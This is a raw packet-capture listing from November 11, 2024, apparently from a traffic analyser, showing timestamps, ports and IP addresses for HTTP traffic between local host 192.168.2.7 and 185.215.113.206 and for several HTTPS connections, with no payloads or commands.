Nov 11, 2024 19:17:54.625566959 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625580072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625590086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625602007 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625607967 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625637054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625783920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625794888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625808001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625824928 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625824928 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625838041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625842094 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625850916 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625861883 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625865936 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625874996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625895023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625906944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625914097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625919104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625931025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625931025 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625942945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625952959 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625957966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625965118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625982046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625983000 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.625992060 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.625997066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626009941 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626020908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626023054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626035929 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626041889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626049042 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626060963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626070023 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626071930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626085997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626087904 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626099110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626110077 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626111031 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626127005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626135111 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626144886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626147032 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626157999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626168013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626174927 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626178980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626192093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626197100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626203060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626207113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626215935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626225948 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626230001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626243114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626245022 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626255989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626266003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626269102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626286030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626290083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626303911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626312971 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626316071 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626328945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626336098 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626342058 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626354933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626359940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626368046 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626384020 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626385927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626399040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626406908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626410007 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626421928 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626425028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626436949 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626446009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626449108 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626462936 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626472950 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626475096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626487970 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626487970 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626499891 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626512051 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626513004 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626527071 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626537085 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626538992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626550913 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626553059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626564980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626575947 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626576900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626593113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626606941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626610994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626615047 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626624107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626636028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626643896 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626648903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626661062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626667023 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626672983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626684904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626697063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626698017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626708984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626718044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626724958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626739025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626740932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626753092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626764059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626764059 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626782894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626787901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626801014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626813889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626817942 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626826048 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626837969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626844883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626849890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626859903 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626863956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626872063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626878977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626893997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626905918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626912117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626918077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626928091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626935005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626940012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626951933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626956940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626962900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626975060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.626982927 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.626983881 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.627002954 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.627033949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.639914036 CET	49883	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.639981985 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.640552998 CET	49883	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.640558004 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.645904064 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.645929098 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.645944118 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.646028042 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.646050930 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.646125078 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.646347046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.646676064 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.647630930 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.647682905 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.647800922 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.648725033 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.648745060 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.654830933 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:54.654869080 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:54.655009985 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:54.655749083 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:54.655760050 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:54.655881882 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.655908108 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.655934095 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.655966043 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.655981064 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.655999899 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.656064034 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.656331062 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.656352043 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.656415939 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.656415939 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.656426907 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.657847881 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.657866001 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.657901049 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.657907963 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.657955885 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.657955885 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.662425995 CET	443	49881	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.662494898 CET	443	49881	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.662560940 CET	49881	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.678881884 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.678906918 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.678956032 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.678981066 CET	49882	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.679017067 CET	49882	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.698980093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699069023 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699127913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699140072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699151993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699170113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699181080 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699182987 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699193001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699206114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699210882 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699218988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699233055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699234009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699248075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699254036 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699265003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699270010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699275970 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699295044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699299097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699306965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699311018 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699325085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699336052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699342012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699348927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699356079 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699362040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699373960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699381113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699384928 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699397087 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699408054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699414968 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699431896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699434042 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699445963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699456930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699457884 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699470043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699484110 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699486971 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699501991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699507952 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699515104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699525118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699529886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699543953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699553013 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699561119 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699573040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699574947 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699585915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699593067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699599981 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699611902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699619055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699630976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699642897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699652910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699656010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699665070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699673891 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699676991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699690104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699700117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699702978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699716091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699726105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699726105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699737072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699740887 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699754953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699771881 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699771881 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699784994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699795008 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699795961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699807882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699819088 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699820995 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699831963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699843884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699856043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699856997 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699867964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699872017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699881077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699887991 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699903011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699914932 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699925900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699929953 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699929953 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699943066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699950933 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699961901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699979067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.699982882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.699995041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.700005054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.700006962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.700021029 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.700031996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.700037956 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.700056076 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.700078011 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.708091974 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.714819908 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.727200985 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.727227926 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.727354050 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.727372885 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.727441072 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.730568886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.730601072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.730612040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.730616093 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.730644941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.730653048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.730875015 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.730905056 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.730952024 CET	49883	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.730982065 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.731230021 CET	49883	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.731276035 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.731342077 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.731600046 CET	49883	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.731816053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731853962 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731862068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731874943 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731904984 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731909037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731920004 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731921911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731935978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.731941938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731947899 CET	80	49794	185.215.113.206	192.168.2.7
